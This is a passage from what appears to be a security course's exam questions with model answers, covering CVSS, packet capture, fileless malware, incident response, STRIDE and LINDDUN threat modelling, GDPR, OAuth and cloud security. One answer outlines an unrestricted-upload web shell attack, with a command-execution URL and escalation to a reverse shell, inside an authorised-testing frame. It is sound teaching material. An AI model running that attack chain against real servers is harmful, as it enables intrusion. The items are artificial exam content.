Technical controls: (1) Least privilege — ensure users and service accounts have only the access needed for their role; review regularly. (2) Separation of duties — no single person can complete a sensitive workflow alone. (3) Privileged access management (PAM) — just-in-time elevation, session recording for privileged accounts. (4) Data loss prevention (DLP) — detect and block unusual data movement (large file transfers, USB writes, email attachments of sensitive documents). (5) User and entity behaviour analytics (UEBA) — detect anomalous patterns: accessing data outside normal working hours, downloading unusually large volumes, accessing resources outside normal job scope. (6) Audit logging — immutable logs of all privileged actions, access to sensitive data, configuration changes.

Organisational controls: Background checks, security awareness training, clear acceptable-use policies, mandatory leave (disrupt long-running frauds), off-boarding procedures (immediate credential revocation on departure), positive workplace culture (reduces motivation for malicious action), confidential reporting channels.

Q428: Explain the CVSS v3 scoring components in detail. Walk through how a high-CVSS score is constructed for EternalBlue (CVE-2017-0144).

Model Answer:

CVSS v3 Base Score is calculated from six metrics divided into two groups:

Exploitability metrics (how easy is the attack): Attack Vector (AV): Network (N) — highest risk, exploitable remotely; Adjacent (A) — same network; Local (L) — requires local access; Physical (P) — requires physical contact. Attack Complexity (AC): Low (L) — no special conditions; High (H) — specific conditions required. Privileges Required (PR): None (N); Low (L); High (H). User Interaction (UI): None (N) — no victim action needed; Required (R) — victim must do something.

Impact metrics (what is the effect if exploited): Scope (S): Unchanged (U) — impact stays within the vulnerable component; Changed (C) — impact crosses to other components. Confidentiality Impact (C), Integrity Impact (I), Availability Impact (A): None (N), Low (L), High (H).

EternalBlue (CVE-2017-0144) construction: AV=Network (exploitable from the internet, no physical or local access needed). AC=High (the specific buffer overflow requires crafted packets — rated High in the original scoring, though practical tools make it Low in practice). PR=None (no credentials required). UI=None (no user interaction, fully automated). Scope=Changed (compromise of kernel affects components beyond the SMB service). C=High, I=High, A=High (complete control of the system — full CIA impact).

Result: CVSS 3.x score of 8.1 or higher (often cited as 9.3 under v2 scoring used at the time). The Critical rating reflects the combination of network-accessible, no-authentication, no-user-interaction, full-CIA-impact properties.

Why CVSS alone is insufficient for prioritisation: Even a CVSS 10.0 vulnerability on an isolated, non-critical development machine may be lower priority than a CVSS 7.0 vulnerability on an internet-facing authentication service handling millions of users. Environmental metrics (modified base metrics reflecting actual compensating controls) and business context determine real priority.

Q429: What is Wireshark and how is it used in security investigations? What information can be extracted from a packet capture, and what are the privacy and legal constraints on its use?

Model Answer:

Wireshark is an open-source network protocol analyser (packet capture and inspection tool). It captures all network traffic visible to the capturing interface — whether on a local machine or on a network tap/SPAN port — and allows detailed dissection, filtering, and analysis of every protocol layer.

Information extractable from packet captures: (1) Unencrypted credentials: FTP, Telnet, HTTP Basic Auth, SMTP, POP3, and IMAP without TLS transmit usernames and passwords in cleartext — directly visible in Wireshark. (2) Session tokens and cookies: HTTP sessions without HTTPS expose session cookies. (3) DNS queries: even when web traffic is encrypted, DNS queries reveal which domains are being accessed. (4) TCP connection metadata: source/destination IPs, ports, timing, connection durations — sufficient for traffic analysis even without content. (5) Application protocol details: HTTP headers, methods, response codes, content types, user-agent strings. (6) File transfers: FTP and unencrypted HTTP file transfers can be reassembled from the packet stream.

Use in security investigations: Diagnosing network issues, detecting malware C2 traffic, identifying plaintext protocol use, verifying encryption is actually in use, forensic analysis of captured traffic from an incident, testing security controls.

Privacy and legal constraints: Packet capture intercepts communications — this is heavily regulated. In Denmark and EU: (1) Employees may not capture traffic on corporate networks beyond what is documented in acceptable use policies and with appropriate notice. (2) Capturing traffic from devices you do not own or operate is illegal under Danish wiretapping law (Straffeloven s.263) and EU communications privacy directives. (3) GDPR applies to captured data containing personal information — IP addresses, browsing patterns, and credentials are personal data with retention and access control obligations. (4) In penetration testing: traffic capture is often in scope but must be explicitly authorised; captured credentials and personal data must be handled per data-minimisation rules and destroyed after the engagement.

Q430: What is fileless malware? How does it evade traditional antivirus detection, and what detection approaches can find it?

Model Answer:

Fileless malware executes entirely in memory without writing a traditional executable file to disk. Traditional malware drops a .exe, .dll, or script file that can be scanned by antivirus tools. Fileless malware instead uses legitimate system tools and processes (PowerShell, WMI, the Windows Registry, or injected code in running processes) to execute its payload — leaving little or no disk artefact.

Common mechanisms: (1) PowerShell abuse: a malicious script is downloaded and executed entirely in memory using PowerShell's Invoke-Expression or Invoke-Command. The script never touches disk. (2) WMI (Windows Management Instrumentation) persistence: malicious code stored in the WMI repository (a legitimate database) is executed when a trigger fires. (3) Process injection: malicious code injected into the memory of a legitimate running process (explorer.exe, svchost.exe) executes under that process's identity

and permissions, avoiding process creation that might trigger alerts. (4) Registry persistence: malicious PowerShell commands stored in registry run keys execute on startup entirely in memory.

Why traditional AV evades: Traditional antivirus scans files on disk and compares them against signatures. If there is no file, there is no scan target. Behaviour-based and heuristic detection may still catch fileless malware, but signature matching fails by design.

Detection approaches that can find fileless malware: (1) Memory scanning: scan process memory for injected code patterns and known shellcode signatures. (2) Behavioural EDR: detect suspicious process behaviour — PowerShell spawning unusual child processes, processes making network connections they shouldn't, code executing from non-standard memory regions (W^X violations). (3) ETW (Event Tracing for Windows) / AMSI (Antimalware Scan Interface): AMSI hooks into PowerShell and other script engines to submit script content for scanning before execution — catches obfuscated PowerShell that no file scanner would see. (4) Script block logging: PowerShell can be configured to log every script block it executes to the Windows Event Log. (5) Network-based detection: C2 callbacks and unusual outbound connections from legitimate processes.

Q431: An organisation's security team finds an unexpected cron job on a Linux server that executes a base64-encoded command. Walk through how they should investigate and respond.

Model Answer:

This is a potential persistence mechanism — a classic indicator of compromise. The investigation and response should be methodical, evidence-preserving, and scope-aware.

Investigation steps:

(1) Document before acting: Copy the exact cron job entry verbatim. Note the user account it runs under, the schedule, and the file path if it references an external script. Take a timestamp.

(2) Decode and analyse the command: Base64 decode the command (`base64 -d`) to reveal the actual payload. Do not execute it. Analyse statically: What does it do? Does it make outbound connections? Does it download or execute additional files? Does it establish a reverse shell? Does it create new user accounts?

(3) Check when it was created: Compare the crontab modification timestamp against recent system activity, logins, and deployments. Does the timing correlate with any known events (a deployment, a login from an unusual IP, a phishing incident)?

(4) Search for related artefacts: Look for other persistence mechanisms — additional cron jobs, SUID binaries, modified `/etc/rc.local`, backdoor users in `/etc/passwd`, SSH keys in `/root/.ssh/authorized_keys`, unusual listening ports (`ss -tlnp`), unusual running processes (`ps aux`), and recently modified files (`find / -newer /var/log/syslog -type f`).

(5) Check logs: Review `/var/log/auth.log` for unusual logins, `/var/log/syslog` for unexpected process activity, and web access logs if this is a web server. Look for the IP address of any recent unusual logins.

(6) Determine scope: Was this command executed? If so, what did it do — look for outbound connections in netflow data or `/var/log`, new files or processes created at the scheduled times.

Response: (1) Isolate the system from the network if active compromise is suspected, to prevent ongoing C2 or data exfiltration. (2) Preserve a forensic image before remediation. (3) Remove the cron job and all related artefacts. (4) Reset all credentials on the system (root password, SSH keys, application credentials stored on the server). (5) Rebuild from verified clean media if integrity cannot be established. (6) Investigate how initial

access occurred and remediate that vector. (7) Assess whether other systems may be similarly affected.

Q432: A penetration tester discovers that a web application allows file uploads and that uploaded files are stored in a publicly accessible web directory. The application accepts .php files. What is the attack and how is it demonstrated safely?

Model Answer:

This is an unrestricted file upload vulnerability leading to remote code execution via a web shell.

The attack chain: (1) Upload a PHP web shell — a file like shell.php containing — through the application's file upload functionality. (2) Determine where uploaded files are stored — typically visible in the HTTP response (e.g., 'File uploaded to /uploads/shell.php') or inferable from the application structure. (3) Access the shell via the browser: <https://target.com/uploads/shell.php?cmd=id> — the server executes the PHP and returns the output of the id command. (4) Escalate: use the shell to read sensitive files (credentials in config files, /etc/passwd, database connection strings), attempt privilege escalation, or establish a reverse shell for interactive access.

Safe demonstration for a penetration test: The minimum proof needed to demonstrate impact without causing unnecessary harm. (1) Upload a harmless proof-of-concept PHP file that only executes a benign command (id, hostname, uname -a) rather than a full interactive shell. (2) Document the upload path, the server's response, the command executed, and the output. (3) Delete the uploaded file immediately after documenting. (4) Report: the finding demonstrates arbitrary PHP execution on the server with the web server process's privileges — sufficient to prove critical impact without establishing persistent access or downloading sensitive data.

What the finding proves: The combination of unrestricted file type validation (accepting .php) and storage in a web-accessible directory creates server-side code execution. Even without PHP execution, storing user-uploaded files in a web directory creates other risks (hosting phishing pages, distributing malware to site visitors). Fix: (1) Validate file types using server-side MIME type checking and allowlists (never client-side only). (2) Store uploaded files outside the web root — serve them via application logic that controls access, not directly via URL. (3) Rename uploaded files to random identifiers, removing attacker-chosen filenames. (4) Scan uploaded files for malware.

Q433: Apply STRIDE analysis to a password reset flow in a web application. Identify at least one realistic threat per STRIDE category and a mitigation for each.

Model Answer:

A password reset flow typically involves: user requests reset by entering email, system sends reset link to email, user clicks link, user sets new password.

Spoofing: Threat — an attacker requests a password reset for another user's account by entering their email, intercepts the reset link (if sent to an email the attacker controls or if the account's email was changed to theirs), and takes over the account. More practically: account enumeration — the application returns different responses for 'email found' vs 'email not found', allowing attackers to confirm which emails are registered. Mitigation: return identical responses regardless of whether the email exists ('If this email is registered, you will receive a link'); use secure, unpredictable reset tokens.

Tampering: Threat — the reset token is predictable (e.g., based on timestamp + username). An attacker generates likely tokens for a target account and uses one before the legitimate user. Mitigation: use

cryptographically random tokens of sufficient length (at least 128 bits of entropy from a CSPRNG); never use predictable values.

Repudiation: Threat — no audit log records who initiated a password reset, when, and from which IP. If an account is taken over via password reset, investigators cannot reconstruct the timeline. Mitigation: log all reset requests (timestamp, IP, user agent, email requested) and all successful resets with the new session creation.

Information disclosure: Threat — the reset link in the email contains the token in the URL; the email's Referer header leaks the token to third-party analytics scripts on the landing page. Mitigation: use short-lived tokens (10-15 minutes); invalidate immediately after use; deliver token only to the registered email; avoid putting tokens in URL fragments visible in Referer headers.

Denial of service: Threat — an attacker triggers mass password reset emails for thousands of accounts, flooding users with unwanted emails and potentially blocking access to a user's email account. Mitigation: rate-limit password reset requests per account and per source IP; implement CAPTCHA or other challenges for repeated requests.

Elevation of privilege: Threat — after completing a reset, the new session grants more permissions than the previous session (e.g., an account that was locked is unlocked, or admin status is restored based on a stale session token rather than current account state). Mitigation: ensure post-reset sessions reflect current account state from the database; invalidate all existing sessions on password reset.

Q434: What is the LINDDUN privacy threat model? Apply it to a fitness tracking application that stores GPS routes, heart rate data, and syncs to cloud storage.

Model Answer:

LINDDUN is a structured privacy threat modelling framework that analyses data flows, stores, actors, and boundaries for seven categories of privacy threat. Unlike STRIDE (which covers security), LINDDUN specifically addresses privacy risks to individuals.

L — Linking: Can records, sessions, or identities from different contexts be connected? In the fitness app: GPS routes combined with time-of-day patterns link to home and work locations. Multiple workout sessions create a movement profile. Cloud storage may correlate accounts across devices or services. Mitigation: data minimisation (store only necessary precision), temporal aggregation, purpose-separate data stores.

I — Identifying: Can a person be re-identified from fitness data? Heart rate, gait patterns, and GPS routes can uniquely identify individuals even without a name. Cloud sync may link to a real-world identity through payment or login. Mitigation: pseudonymisation of local storage, k-anonymity for aggregated analytics, minimal identity binding.

N — Non-repudiation (of the user): Does the system create undeniable evidence of user activities the user might want to deny? Stored GPS routes with timestamps prove the user was at specific locations at specific times. Mitigation: user-controlled data deletion, short retention periods, clear purpose limitation.

D — Detecting: Can an observer determine that the user uses the service, owns a fitness device, or has a particular health condition? Network traffic metadata reveals app usage patterns; Bluetooth pairing reveals device type. Mitigation: network traffic obfuscation, local processing rather than cloud analysis.

D — Disclosure of information: Can health data (heart rate anomalies, workout cessation, location patterns) reach unauthorised parties? Cloud sync may expose data to the provider or to breaches. Mitigation: end-to-end encryption, access controls, breach notification procedures.

U — Unawareness: Is the user unaware of how their fitness data is used, shared, or retained? Third-party analytics in the app, data sharing with health insurers or advertisers. Mitigation: clear privacy notices, meaningful consent, purpose limitation in data use.

N — Non-compliance: Does the system fail GDPR or other obligations? Special category health data requires explicit consent under Article 9; long retention without purpose violates Article 5(1)(e); cross-border transfers to US cloud providers without adequate safeguards violates Chapter V. Mitigation: DPIA before deployment, data processing agreements, retention schedules.

Q435: Explain the difference between network-based and host-based detection. Why are both necessary, and what does each see that the other misses?

Model Answer:

Network-based detection (NIDS): Monitors network traffic at chokepoints — network taps, SPAN ports, inline sensors between network segments. Analyses packet streams and connection metadata.

What NIDS sees: (1) All traffic crossing the monitored segment regardless of which endpoints are involved. (2) Lateral movement patterns — unusual connections between internal hosts that no single endpoint would see. (3) Network scanning, port sweeps, exploitation attempts in traffic. (4) C2 communication patterns, beaconing behaviour. (5) Exfiltration — large data volumes leaving to unusual external destinations. (6) Cleartext credentials in unencrypted protocols.

What NIDS misses: (1) Encrypted traffic content — it sees TLS connections but not the application data inside. (2) Activity that stays entirely on one host (local privilege escalation, local file manipulation). (3) Attacks using legitimate encrypted channels (HTTPS-based C2, DNS tunnelling). (4) Process-level detail — which specific process created a network connection.

Host-based detection (HIDS/EDR): Monitors activity on individual endpoints — process creation, file modification, registry changes, memory allocation, network socket creation.

What HIDS sees: (1) Which process made a network connection (not just that a connection occurred). (2) Process injection, unusual parent-child process relationships. (3) Local file creation, modification, and deletion — including web shells and dropper files. (4) Registry persistence mechanisms. (5) Memory anomalies, shellcode patterns. (6) Local privilege escalation attempts. (7) Fileless malware execution in memory.

What HIDS misses: (1) Network-level patterns across multiple hosts — it only sees one endpoint's perspective. (2) Traffic metadata from other hosts on the network. (3) Lateral movement that hasn't yet reached the monitored host.

Why both are necessary: Network detection provides organisational-wide visibility for lateral movement and exfiltration; host detection provides process-level, memory-level, and local activity detail. An advanced attacker who avoids network detection (uses encrypted C2 over HTTPS) may still be visible to host detection (unusual process trees, registry modifications). Together they provide defence-in-depth for detection.

Q436: What is the difference between encoding, encryption, and hashing? Give a common misconception for each and explain why it matters.

Model Answer:

Encoding: A reversible transformation of data from one representation to another using a publicly known scheme — no key involved. Purpose: data formatting and interoperability, not security. Examples: Base64

(binary to ASCII), URL encoding (%20 for space), UTF-8 (characters to bytes).

Common misconception: 'Base64 is encryption.' Base64 is trivially reversible by anyone — there is no secret. Storing a password as Base64 provides zero security. Why it matters: confusing encoding with encryption leads to false security assumptions — developers who believe Base64-encoded sensitive data is protected are building a system with no real confidentiality.

Encryption: A reversible transformation of data using an algorithm and a secret key. Only parties with the correct key can reverse it (decrypt). Purpose: confidentiality. Examples: AES-256-GCM, ChaCha20-Poly1305, RSA.

Common misconception: 'Encryption guarantees integrity — my encrypted data can't be modified.' Raw encryption (without authentication) provides only confidentiality. An attacker who cannot read the ciphertext can still modify it. Modifications to ciphertext produce different plaintext when decrypted, but without an authentication tag the receiver cannot detect the modification. Why it matters: systems that rely on encryption alone for integrity are vulnerable to bit-flipping attacks and malleability exploits. Always use authenticated encryption (AEAD).

Hashing: A one-way function mapping input of arbitrary length to a fixed-length output (digest). Not reversible — given the hash, the input cannot be recovered. No key (unless using HMAC). Purpose: integrity verification, password storage, digital signatures. Examples: SHA-256, SHA-3, bcrypt (for passwords).

Common misconception: 'I've hashed the passwords so they're secure.' General-purpose hashes (MD5, SHA-256) are designed to be fast, making brute-force cracking feasible. For password storage, purpose-built slow hashing algorithms (Argon2id, bcrypt, scrypt) with salts and work factors are required. Why it matters: MD5-hashed passwords are crackable in hours with modern hardware and wordlists — as demonstrated in the Lab 5 exercise where MD5 hashes were cracked from the DVWA database.

Q437: Explain the concepts of confidentiality, integrity, and availability as they apply to three different scenarios: a hospital patient record system, a national electricity grid control system, and a stock exchange trading platform. For each, identify the PRIMARY CIA goal and explain why.

Model Answer:

The CIA triad priorities vary by system — the same three properties apply everywhere but their relative importance reflects the operational context and consequences of failure.

Hospital patient record system: PRIMARY goal — Confidentiality. Patient records contain sensitive personal and health data protected by law (GDPR Article 9, HIPAA in US). Unauthorised disclosure can cause profound harm: discrimination, insurance denial, reputational damage, blackmail, or patient safety risks if incorrect data is provided to another provider. Integrity matters greatly (incorrect medical records could lead to incorrect treatment), and availability is important for emergency access — but the legal, ethical, and personal harm from confidentiality breach drives the primary classification. Defence priorities: access controls, encryption at rest and in transit, audit logging of access, purpose limitation, breach notification procedures.

National electricity grid control system: PRIMARY goal — Availability. The control system manages real-time generation and distribution of electricity. If it becomes unavailable, the consequence is cascading power failures affecting hospitals, heating, water treatment, communications, and economic activity. A blackout for millions of people for hours has immediate safety and economic consequences that dwarf most

confidentiality concerns. Integrity is also critical (false commands could cause physical damage), but availability is the primary operational requirement. Defence priorities: redundancy, failover, air-gapping from internet, resilience testing, industrial protocol security, physical security, incident response for operational continuity.

Stock exchange trading platform: PRIMARY goal — Integrity. Trades must execute at the correct price, in the correct order, for the correct parties. A single tampered transaction could represent billions in fraudulent transfers or market manipulation. Availability is critical (downtime means no trading, financial loss), but an available system that produces incorrect trades is actively harmful rather than just disrupted. Confidentiality matters for strategy data but is secondary to ensuring transaction accuracy. Defence priorities: cryptographic signing of transactions, immutable audit trails, non-repudiation mechanisms, order sequencing guarantees, tamper detection, rollback capabilities, real-time fraud detection.

Q438: A company is migrating its web application from on-premises to a cloud provider. List five new security considerations that arise specifically from this migration that did not exist in the on-premises model.

Model Answer:

Cloud migration introduces a set of security considerations that are structurally different from on-premises because the infrastructure is shared, managed by a third party, and accessed via APIs:

(1) Shared responsibility model: In the cloud, security responsibilities are divided between the provider (responsible for the security OF the cloud — hardware, facilities, hypervisor, managed services) and the customer (responsible for security IN the cloud — OS configuration, application, data, access management). Organisations accustomed to on-premises security must explicitly understand which responsibilities they retain. Mistakenly assuming the cloud provider secures the OS, application configuration, or data access is a leading cause of cloud breaches.

(2) Cloud IAM and overprivileged roles: Cloud environments use Identity and Access Management (IAM) policies to control who can access what. Overly permissive IAM roles (e.g., a compute instance with IAM permission to read all S3 buckets) create lateral movement paths that don't exist in on-premises models. If the instance is compromised, the attacker inherits its cloud permissions. Principle: grant cloud identities least-privilege permissions and audit regularly.

(3) Misconfigured storage and public exposure: Cloud object storage (S3, Azure Blob, GCS) defaults and access policies differ from on-premises filesystem permissions. Misconfigurations frequently result in publicly accessible storage buckets containing sensitive data — a cloud-specific failure mode absent in on-premises where network firewalls would restrict access. Regular scanning of storage configurations and access policies is essential.

(4) API exposure and metadata service: Cloud instances have access to a metadata service (e.g., AWS Instance Metadata Service at 169.254.169.254) that returns instance credentials and configuration. Server-side request forgery (SSRF) vulnerabilities that were low-impact on-premises can be critical in cloud — they allow reading instance credentials from the metadata service, which can then be used to interact with the cloud API. SSRF protections and IMDSv2 (requiring session-based authentication to the metadata service) are cloud-specific security requirements.

(5) Data residency, sovereignty, and cross-border transfers: Cloud providers store data in multiple geographic regions. If personal data of EU residents is stored in non-EU regions without adequate safeguards (Standard Contractual Clauses, adequacy decisions), this violates GDPR Chapter V.

On-premises organisations fully control data location. Cloud migration requires explicit data-residency configuration and legal review of cross-border transfer mechanisms.

Q439: A healthcare startup wants to use patient GPS movement data to study disease transmission patterns. Walk through the GDPR analysis they must complete before starting.

Model Answer:

This scenario involves special-category health data (Article 9) combined with location data — both requiring heightened protection. A full GDPR analysis before processing must address:

- (1) Legal basis under Article 6: Health research can rely on public interest (Article 6(1)(e)) or legitimate interests (Article 6(1)(f)), but neither can be used alone for special-category health data. Consent under Article 6(1)(a) is also possible but may not be freely given in a healthcare relationship. The startup must identify one Article 6 basis.
- (2) Article 9 exception for health data: Special-category processing requires a specific Article 9 exception in addition to an Article 6 basis. Options: explicit consent (Art. 9(2)(a)) — must be separate from other consent, specific, and revocable. Scientific research (Art. 9(2)(j)) — requires appropriate safeguards, pseudonymisation where possible, data minimisation, and may require national derogations. Public health (Art. 9(2)(i)) — requires EU or national law basis.
- (3) DPIA required: Processing special-category data at scale using new technology (GPS tracking + disease modelling) is explicitly listed as high-risk under Article 35. A DPIA must assess: the necessity and proportionality of GPS tracking vs less invasive alternatives; specific risks to individuals (re-identification from movement patterns, stigmatisation from disease association); proposed technical safeguards (pseudonymisation, aggregation, encryption, access controls); residual risks; and the need for prior consultation with the supervisory authority if high residual risk remains.
- (4) Data minimisation and purpose limitation: Can coarser GPS granularity (neighbourhood level rather than exact address) achieve the research goal? Can data be aggregated immediately rather than storing individual trajectories? Must the data be kept at individual level or can it be anonymised after analysis?
- (5) Data subject rights: Research participants must be informed (Articles 13/14), able to withdraw (where consent is the basis), and potentially able to request deletion — though research may create a tension with Article 17(3)(d) archiving exceptions.
- (6) Cross-border transfers: If cloud infrastructure is outside the EU, Standard Contractual Clauses or another Article 46 mechanism is required.

Q440: A company's employee handbook states: 'By accepting employment, you consent to monitoring of all company systems including email and internet activity.' Is this valid GDPR consent? What legal basis should be used instead?

Model Answer:

This is not valid GDPR consent, and relying on it would expose the company to significant regulatory risk.

Why employment consent is generally not valid under GDPR: GDPR requires consent to be freely given — and the European Data Protection Board's guidance is explicit that in an employment relationship, consent is generally not freely given because of the power imbalance. An employee who fears negative consequences from refusing consent (or from withdrawing it) has not given consent freely. If an employee must 'consent' as a condition of employment, the consent is conditioned on the contract and is therefore not freely given. The same applies to consent buried in employment contracts or handbooks — it lacks the specificity and active, unambiguous act that Article 7 requires.

Additional problems: (1) Bundled consent — monitoring email, monitoring internet activity, and any other processing bundled together cannot constitute specific consent under Article 7(2). (2) Imbalance — EDPB Guidelines 5/2020 explicitly state that employers should not rely on consent as a legal basis for processing employee data where the relationship creates clear dependency. (3) Withdrawal — employees must be able to withdraw consent without detriment; this is incompatible with monitoring that is operationally necessary.

Correct legal bases for employee monitoring: (1) Contract (Article 6(1)(b)) — monitoring strictly necessary to perform the employment contract (e.g., logging access to client files the employee is contracted to process). (2) Legal obligation (Article 6(1)(c)) — monitoring required by law (e.g., financial regulators requiring trading desk communications archival). (3) Legitimate interests (Article 6(1)(f)) — the most commonly applicable basis, provided a documented Legitimate Interests Assessment demonstrates that the monitoring is necessary, proportionate, and does not override employees' fundamental rights. Must be accompanied by a clear privacy notice explaining what is monitored, why, how long data is retained, and employees' rights. (4) Collective agreement — in some EU member states, employee monitoring can be authorised through works council agreements or collective bargaining, which functions as a legal basis under national derogation.

Q441: Explain how MPC can be applied to privacy-preserving machine learning (PPML). What does each party want to protect, and what are the deployment limitations?

Model Answer:

Privacy-preserving machine learning (PPML) using MPC addresses situations where: a model owner wants to offer inference (prediction) services without revealing their proprietary model, and/or clients want to get predictions on sensitive data without revealing their inputs to the model owner.

What each party wants to protect: Model owner: the model weights, architecture, and training data represent valuable intellectual property and potentially sensitive information. If the model was trained on private data (medical records, financial transactions), revealing the model could leak information about training examples. Client: the input to the inference — a patient's symptoms, a financial transaction pattern, a genomic sequence — is sensitive personal data the client does not want to disclose to the model owner or their infrastructure.

MPC application: The model and client input are secret-shared between computing servers. Inference (matrix multiplications, activation functions, comparisons) is evaluated over shares using Beaver triples for multiplication and Boolean protocols for comparisons (like ReLU, argmax). The result — the prediction — is revealed to the authorised recipient.

Real-world framing: A hospital wants to use a pharmaceutical company's proprietary drug-response prediction model but cannot share patient data with the company. The company wants payment for model use but cannot reveal the model to the hospital. PPML allows the hospital to get predictions without sharing patient data, and the company to offer the service without revealing the model.

Deployment limitations: (1) Computational overhead: PPML is significantly slower than plaintext inference — often 10–1000x depending on the circuit and activation functions. Non-linear activations (ReLU) are expensive in MPC circuits, leading to model approximations. (2) Communication rounds: servers must exchange data during secure multiplication; network latency and bandwidth are practical bottlenecks. (3) Non-collusion assumption: the security guarantee holds only if the servers do not collude. Real deployments require servers operated by independent parties with no incentive to cooperate against clients. (4) Output inference: even with PPML, the output can sometimes reveal information about the input (membership inference attacks on ML models). Output privacy is a separate concern from input privacy. (5) Metadata

leakage: access patterns, query timing, and response sizes can leak information even when content is protected.

Q442: Perform a STRIDE analysis on a TLS-protected REST API that handles financial transactions. For each STRIDE category, identify one specific threat and one mitigation.

Model Answer:

A TLS-protected REST API for financial transactions has multiple trust boundaries: client to API gateway, API to microservices, microservices to database, and external payment processors.

Spoofting (Authentication): Threat — an attacker obtains a stolen JWT access token from a logged packet or XSS exploit and replays it to execute transactions as the legitimate user. The API cannot distinguish a legitimate token from a stolen one with the same cryptographic signature. Mitigation: implement token binding (bind tokens to the specific TLS session or client certificate), enforce short token expiry (minutes for financial transactions), require step-up authentication for high-value transactions (re-authenticate with MFA before approving transfers above a threshold), and detect anomalous token usage (impossible travel, concurrent sessions from different IPs).

Tampering (Integrity): Threat — an internal attacker or compromised microservice modifies a transaction amount between the API gateway and the payment processor microservice. Even with TLS between services, a compromised intermediate service can alter the payload before re-forwarding. Mitigation: sign transaction payloads at the originating service with an HMAC or digital signature; receiving services verify the signature before processing; maintain an immutable transaction log that can be audited for inconsistencies.

Repudiation (Non-repudiation): Threat — a customer claims they never authorised a large transfer, and the system cannot prove they did because transaction logs are stored on the same server the customer's account is managed from, creating questions about log integrity. Mitigation: use an append-only audit log on separate infrastructure with cryptographic chaining (each log entry includes a hash of the previous entry); sign transaction authorisations with the customer's credentials at time of submission; retain signed authorisation records for the legally required period.

Information Disclosure (Confidentiality): Threat — the API returns detailed error messages including account balances, transaction IDs, or database error details when requests fail, leaking sensitive financial information to the requesting party or to log aggregators. Mitigation: return generic error codes to clients ('transaction failed') while logging detailed diagnostics server-side; ensure internal logs containing financial data have restricted access and defined retention.

Denial of Service (Availability): Threat — an attacker floods the API with expensive transaction validation requests, consuming database connections and CPU on signature verification, causing legitimate transactions to time out during peak trading hours. Mitigation: implement per-client rate limiting at the API gateway, enforce request quotas per authenticated identity, use circuit breakers between microservices to prevent cascading failures, design graceful degradation (queue transactions rather than reject them during overload).

Elevation of Privilege (Authorization): Threat — the API does not validate that the authenticated user is the account holder for the account referenced in the transaction URL (e.g., POST /accounts/12345/transfer) — only that the user is authenticated, not authorised for account 12345 specifically. An attacker with any valid account can initiate transfers from other accounts by enumerating IDs. Mitigation: enforce object-level authorisation on every request — verify the authenticated user is the owner of the account referenced in

every path parameter and request body, server-side, on every request.

Q443: What is DNS over HTTPS (DoH) and DNS over TLS (DoT)? What privacy and security benefits do they provide, and what are the security trade-offs organisations should consider?

Model Answer:

Standard DNS queries are sent in plaintext over UDP port 53. Anyone on the network path — ISPs, coffee shop operators, network-level attackers — can observe which domains a user or device queries. DNS responses can also be manipulated (DNS spoofing, hijacking) without detection.

DNS over HTTPS (DoH): Encrypts DNS queries inside standard HTTPS (port 443), making them indistinguishable from regular web traffic. Queries go to a DoH resolver (e.g., 1.1.1.1 for Cloudflare, 8.8.8.8 for Google) via TLS. DNS queries and responses are hidden from the network path.

DNS over TLS (DoT): Encrypts DNS queries in a dedicated TLS tunnel on port 853. Clearly identifiable as encrypted DNS traffic (specific port), but the content is protected.

Privacy and security benefits: (1) Confidentiality of DNS queries — ISPs, network operators, and on-path attackers cannot see which domains are being resolved. (2) Integrity of DNS responses — TLS authentication ensures responses come from the expected resolver and haven't been tampered with in transit. (3) Resistance to DNS hijacking — because the query is authenticated to a specific resolver, a rogue DHCP server cannot redirect queries to a malicious resolver without breaking TLS.

Security trade-offs for organisations: (1) Loss of DNS visibility for security monitoring: enterprise security teams monitor internal DNS queries for threat detection — malware beaconing, data exfiltration via DNS tunnelling, access to known malicious domains. If endpoints use DoH to external resolvers, bypassing corporate DNS, security monitoring tools lose this visibility. (2) Bypass of content filtering: many organisations use DNS-based filtering to block malware, phishing, and inappropriate content. DoH to external resolvers bypasses these controls. (3) Data concentration: DoH concentrates DNS queries at a small number of large resolvers (Cloudflare, Google) — a privacy concern in itself (the resolver sees all queries). (4) Recommended approach for enterprises: configure DoH to a trusted internal or corporate resolver that maintains DNS-level visibility and filtering, rather than allowing endpoints to resolve to arbitrary external DoH providers.

Q444: What is OAuth 2.0 and OpenID Connect? Explain the authorization code flow and identify three common security vulnerabilities in OAuth implementations.

Model Answer:

OAuth 2.0 is an authorisation framework (not an authentication protocol) that allows a third-party application to obtain limited access to a user's resources on another service, without the user sharing their password with the third party. Example: a calendar app requesting permission to read a user's Google Calendar.

OpenID Connect (OIDC) builds on OAuth 2.0 to add authentication — it standardises how an identity provider (IdP) verifies a user's identity and communicates it to a relying party (RP) via an ID token (a signed JWT).

Authorization code flow: (1) User clicks 'Login with Google' in a third-party app. (2) App redirects user's browser to Google's authorisation endpoint with: `client_id`, `redirect_uri`, `scope` (what permissions), `state` (anti-CSRF token), `response_type=code`. (3) User authenticates at Google and approves the requested scopes. (4) Google redirects user's browser back to `redirect_uri` with an authorisation code and the state

parameter. (5) App server verifies the state parameter (anti-CSRF), then exchanges the authorisation code for tokens by making a server-to-server request to Google's token endpoint with: code, client_id, client_secret. (6) Google returns access_token (to call Google APIs), id_token (OIDC identity assertion), and optionally refresh_token. (7) App verifies the id_token signature and uses the claims to identify the user.

Three common OAuth implementation vulnerabilities: (1) Missing state parameter validation (CSRF on the redirect): if the app does not verify that the state parameter returned in the callback matches the value it sent, an attacker can trick a victim's browser into completing an OAuth flow using the attacker's authorisation code — linking the attacker's identity to the victim's app account. (2) Open redirect on redirect_uri: if the app registers broad redirect URIs (or the authorisation server doesn't strictly validate them), an attacker can craft a URL with redirect_uri pointing to an attacker-controlled domain. The authorisation code is sent to the attacker's server. Mitigation: register exact redirect URIs and validate strictly. (3) Authorisation code interception (PKCE bypass): mobile and single-page apps cannot keep a client_secret safely. Without PKCE (Proof Key for Code Exchange), an attacker who intercepts the authorisation code (e.g., via a malicious app on the same device) can exchange it for tokens. PKCE adds a code_verifier/code_challenge mechanism that binds the exchange to the original requestor.

Q445: Design the authentication and authorisation architecture for a multi-tenant SaaS application handling sensitive financial data. What are the key security requirements and how would you address each?

Model Answer:

A multi-tenant SaaS application serving financial data has several distinct security requirements arising from the combination of sensitive data, multiple independent customer organisations, and shared infrastructure:

(1) Tenant isolation in authorisation: Users from Tenant A must never be able to access data belonging to Tenant B, even if they have valid authentication tokens. Implementation: every database query, API call, and resource access must include a verified tenant_id check derived from the authenticated session — not from user-supplied parameters. Tenant ID must be resolved server-side from the authenticated token, not trusted from request parameters. Test with cross-tenant access attempts in every release.

